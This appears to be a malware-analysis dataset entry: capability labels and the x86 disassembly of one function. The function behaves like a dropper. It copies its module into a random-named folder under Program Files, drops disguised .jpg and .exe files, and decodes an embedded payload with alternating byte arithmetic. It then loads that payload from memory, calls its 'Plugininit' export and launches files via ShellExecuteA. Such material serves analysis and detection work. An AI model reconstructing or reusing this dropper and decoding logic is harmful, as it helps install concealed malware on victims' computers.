Function at 0x10001997
Capabilities:
Link many functions at runtime
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10a0
call fcn.10026ff0
push edi
mov byte [ebp - 0x10c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x10b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x10c]
push eax
call fcn.10001690
add esp, 4
mov dword [ebp - 0x854], eax
mov byte [ebp - 0x628], 0
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x627]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x224], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x223]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x74c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x74b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, dword [str.gdiplus.dll]
mov dword [ebp - 0x648], ecx
mov edx, dword [0x10032110]
mov dword [ebp - 0x644], edx
mov eax, dword [0x10032114]
mov dword [ebp - 0x640], eax
mov ecx, dword [str.background.bmp]
mov dword [ebp - 0x864], ecx
mov edx, dword [0x1003211c]
mov dword [ebp - 0x860], edx
mov eax, dword [0x10032120]
mov dword [ebp - 0x85c], eax
mov cx, word [0x10032124]
mov word [ebp - 0x858], cx
mov dl, byte [0x10032126]
mov byte [ebp - 0x856], dl
mov byte [ebp - 0xa70], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0xa6f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x850], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x84f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x96c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x96b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x104
lea eax, [ebp - 0xa70]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0xa70]
push ecx
lea edx, [ebp - 0x850]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0x5c
lea eax, [ebp - 0x850]
push eax
call fcn.100010fd
add esp, 8
mov byte [eax], 0
lea ecx, [ebp - 0x850]
push ecx
lea edx, [ebp - 0x96c]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
lea eax, [ebp - 0x648]
push eax
lea ecx, [ebp - 0x850]
push ecx
push 0x10032128
lea edx, [ebp - 0x850]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea eax, [ebp - 0x864]
push eax
lea ecx, [ebp - 0x96c]
push ecx
push 0x10032130
lea edx, [ebp - 0x96c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push str.Shlwapi.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x62c], eax
push str.PathFileExistsA
mov eax, dword [ebp - 0x62c]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x120], eax
lea ecx, [ebp - 0x96c]
push ecx
call dword [ebp - 0x120]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x228], eax
push 0x200000
call dword [sym.imp.MSVCRT.dll_malloc]
add esp, 4
mov dword [ebp - 0x868], eax
mov edx, dword [ebp - 0x854]
push edx
mov eax, dword [ebp - 0x868]
push eax
push 0x100328a8
call fcn.1000172f
add esp, 0xc
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 0
jne 0x10001be9
xor eax, eax
jmp 0x100021d2
mov ecx, dword [str.b_y4_]
mov dword [ebp - 0x114], ecx
mov dx, word [0x10032158]
mov word [ebp - 0x110], dx
mov al, byte [0x1003215a]
mov byte [ebp - 0x10e], al
mov ecx, dword [str._r74_]
mov dword [ebp - 0x11c], ecx
mov dx, word [0x10032160]
mov word [ebp - 0x118], dx
mov al, byte [0x10032162]
mov byte [ebp - 0x116], al
mov dword [ebp - 0x634], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
cmp dword [ebp - 0x228], 0
je 0x1000206a
push str.ExpandEnvironmentStringsA
mov ecx, dword [0x100329ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xb78], eax
mov byte [ebp - 0xf98], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0xf97]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0xd8c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0xd8b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push str.GetTickCount
mov edx, dword [0x100329ac]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc88], eax
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x13
div ecx
add edx, 0x61
push edx
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x14
div ecx
add edx, 0x61
push edx
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x15
div ecx
add edx, 0x61
push edx
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x16
div ecx
add edx, 0x61
push edx
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x19
div ecx
add edx, 0x61
push edx
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x17
div ecx
add edx, 0x61
push edx
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x18
div ecx
add edx, 0x41
push edx
push str.__ProgramFiles___C_c_c_c_c_c_c
lea edx, [ebp - 0xd8c]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x24
push 0x104
lea eax, [ebp - 0xf98]
push eax
lea ecx, [ebp - 0xd8c]
push ecx
call dword [ebp - 0xb78]
push str.CreateDirectoryA
mov edx, dword [0x100329ac]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xe94], eax
push 0
lea eax, [ebp - 0xf98]
push eax
call dword [ebp - 0xe94]
mov byte [ebp - 0xb74], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0xb73]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0x109c], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x109b]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0xe90], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0xe8f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 0xc84], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0xc83]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x13
div ecx
add edx, 0x61
push edx
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x15
div ecx
add edx, 0x61
push edx
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x19
div ecx
add edx, 0x61
push edx
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x18
div ecx
add edx, 0x41
push edx
lea edx, [ebp - 0xf98]
push edx
push str._s_C_c_c_c.jpg
lea eax, [ebp - 0xb74]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x14
div ecx
add edx, 0x61
push edx
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x16
div ecx
add edx, 0x61
push edx
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x19
div ecx
add edx, 0x61
push edx
call dword [ebp - 0xc88]
xor edx, edx
mov ecx, 0x17
div ecx
add edx, 0x41
push edx
lea edx, [ebp - 0xf98]
push edx
push str._s_C_c_c_c.exe
lea eax, [ebp - 0x109c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea ecx, [ebp - 0x648]
push ecx
lea edx, [ebp - 0xf98]
push edx
push 0x100321e4
lea eax, [ebp - 0xe90]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push str.CopyFileA
mov ecx, dword [0x100329ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xb80], eax
push 0
lea edx, [ebp - 0x109c]
push edx
lea eax, [ebp - 0xa70]
push eax
call dword [ebp - 0xb80]
push 0
lea ecx, [ebp - 0xb74]
push ecx
push 0x100328a8
call dword [ebp - 0xb80]
push 0
lea edx, [ebp - 0xe90]
push edx
lea eax, [ebp - 0x850]
push eax
call dword [ebp - 0xb80]
push 0x80
lea ecx, [ebp - 0xe90]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea edx, [ebp - 0xe90]
push edx
call fcn.1000182c
add esp, 4
lea eax, [ebp - 0x864]
push eax
lea ecx, [ebp - 0xf98]
push ecx
push str._s_s
lea edx, [ebp - 0x224]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x10a0], eax
push str.ShellExecuteA
mov eax, dword [ebp - 0x10a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xb7c], eax
mov ecx, dword [ebp - 0x638]
push ecx
lea edx, [ebp - 0x114]
push edx
mov eax, dword [ebp - 0x868]
push eax
call fcn.1000118c
add esp, 0xc
mov dword [ebp - 0x634], eax
cmp dword [ebp - 0x634], 0xffffffff
jne 0x10001fee
xor eax, eax
jmp 0x100021d2
mov ecx, dword [ebp - 0x634]
mov edx, dword [ebp - 0x868]
lea eax, [edx + ecx + 6]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x638]
sub ecx, dword [ebp - 0x634]
sub ecx, 6
mov dword [ebp - 4], ecx
push 1
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
lea ecx, [ebp - 0x224]
push ecx
call fcn.1000128e
add esp, 0x10
push 5
push 0
push 0
lea edx, [ebp - 0x224]
push edx
push 0x1003221c
push 0
call dword [ebp - 0xb7c]
push 5
push 0x10032224
push 0
lea eax, [ebp - 0x109c]
push eax
push str.open
push 0
call dword [ebp - 0xb7c]
xor eax, eax
jmp 0x100021d2
mov ecx, 0x10032890
call fcn.1002921e
test eax, eax
je 0x1000207f
xor eax, eax
jmp 0x100021d2
call fcn.10001214
test eax, eax
jne 0x10002092
mov eax, 1
jmp 0x100021d2
mov ecx, dword [ebp - 0x638]
push ecx
lea edx, [ebp - 0x11c]
push edx
mov eax, dword [ebp - 0x868]
push eax
call fcn.1000118c
add esp, 0xc
mov dword [ebp - 0x634], eax
cmp dword [ebp - 0x634], 0xffffffff
jne 0x100020c5
xor eax, eax
jmp 0x100021d2
mov ecx, dword [ebp - 0x634]
mov edx, dword [ebp - 0x868]
lea eax, [edx + ecx + 6]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x638]
sub ecx, dword [ebp - 0x634]
sub ecx, 6
mov dword [ebp - 4], ecx
mov dword [ebp - 0x63c], 0
jmp 0x10002105
mov edx, dword [ebp - 0x63c]
add edx, 1
mov dword [ebp - 0x63c], edx
mov eax, dword [ebp - 0x63c]
cmp eax, dword [ebp - 4]
jge 0x10002141
mov ecx, dword [ebp - 0x63c]
and ecx, 0x80000001
jns 0x10002123
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
je 0x1000213f
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x63c]
mov al, byte [edx]
sub al, 0xb
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x63c]
mov byte [ecx], al
jmp 0x100020f6
mov dword [ebp - 0x63c], 0
jmp 0x1000215c
mov edx, dword [ebp - 0x63c]
add edx, 1
mov dword [ebp - 0x63c], edx
mov eax, dword [ebp - 0x63c]
cmp eax, dword [ebp - 4]
jge 0x10002198
mov ecx, dword [ebp - 0x63c]
and ecx, 0x80000001
jns 0x1000217a
dec ecx
or ecx, 0xfffffffe
inc ecx
test ecx, ecx
jne 0x10002196
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0x63c]
mov al, byte [edx]
add al, 0x2e
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0x63c]
mov byte [ecx], al
jmp 0x1000214d
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp - 8]
push eax
mov ecx, 0x10032890
call fcn.10029082
test eax, eax
jne 0x100021b2
xor eax, eax
jmp 0x100021d2
push str.Plugininit
mov ecx, 0x10032890
call fcn.1002922e
mov dword [ebp - 0x630], eax
call dword [ebp - 0x630]
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret